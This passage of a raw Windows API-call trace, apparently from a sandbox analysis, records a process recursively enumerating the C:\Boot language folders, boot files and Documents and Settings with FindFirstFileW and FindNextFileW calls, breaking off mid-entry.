FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.970] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0052.970] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.970] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0052.970] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0052.970] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.971] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0052.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0052.971] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42601c0 [0052.971] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.971] FindClose (in: hFindFile=0x42601c0 | out: hFindFile=0x42601c0) returned 1 [0052.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0052.971] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0052.971] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0053.427] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.427] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.427] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.428] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0053.428] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0053.428] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0053.428] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0053.428] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0053.428] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.429] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0053.429] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0053.429] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0053.429] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.429] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.429] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0053.429] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0053.430] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42601c0 [0053.430] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0053.430] FindNextFileW (in: hFindFile=0x42601c0, lpFindFileData=0x38cf800 | out: lpFindFileData=0x38cf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0053.430] FindClose (in: hFindFile=0x42601c0 | out: hFindFile=0x42601c0) returned 1 [0053.431] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0053.431] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0053.431] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0053.431] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0053.431] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x38cfa7c | out: lpFindFileData=0x38cfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="\xa918\x70\x16")) returned 0xffffffff [0053.432] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c30940 | out: hHeap=0x6a0000) returned 1 [0053.432] FindNextFileW (in: hFindFile=0x4260480, lpFindFileData=0x38cfcf8 | out: lpFindFileData=0x38cfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, 